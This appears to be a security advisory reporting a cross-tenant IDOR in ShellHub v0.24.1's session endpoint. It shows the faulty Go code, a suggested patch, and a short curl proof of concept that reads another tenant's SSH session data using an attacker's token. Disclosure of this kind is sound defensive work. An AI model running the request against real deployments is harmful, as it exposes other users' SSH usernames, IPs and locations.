Summary
ShellHub has cross-tenant IDOR in `GET /api/sessions/:uid` that discloses SSH session data
Details

Summary

GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639

Affected versions

ShellHub Community v0.24.1 (by code inspection — same vulnerable pattern as GetDevice). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis.

Root cause

api/services/session.go:37-44GetSession resolves the session by UID without any tenant filter:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid))
    // ⚠️ missing: s.store.Options().InNamespace(tenant)
    ...
}
  

The Authorize middleware only verifies presence of a tenant in the context, not ownership of the requested session.

Proof of concept

Pre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID).

ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

# Attempt cross-tenant read
curl -i "http://target/api/sessions/<victim-session-uid>" \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full session JSON
  

Impact

  • Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), startedat / lastseen timestamps.
  • Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon.

Suggested fix

api/services/session.go — apply InNamespace in GetSession:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    tenant := gateway.TenantFromContext(ctx)
    opts := []store.QueryOption{}
    if tenant != nil {
        opts = append(opts, s.store.Options().InNamespace(tenant.ID))
    }
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...)
    ...
}
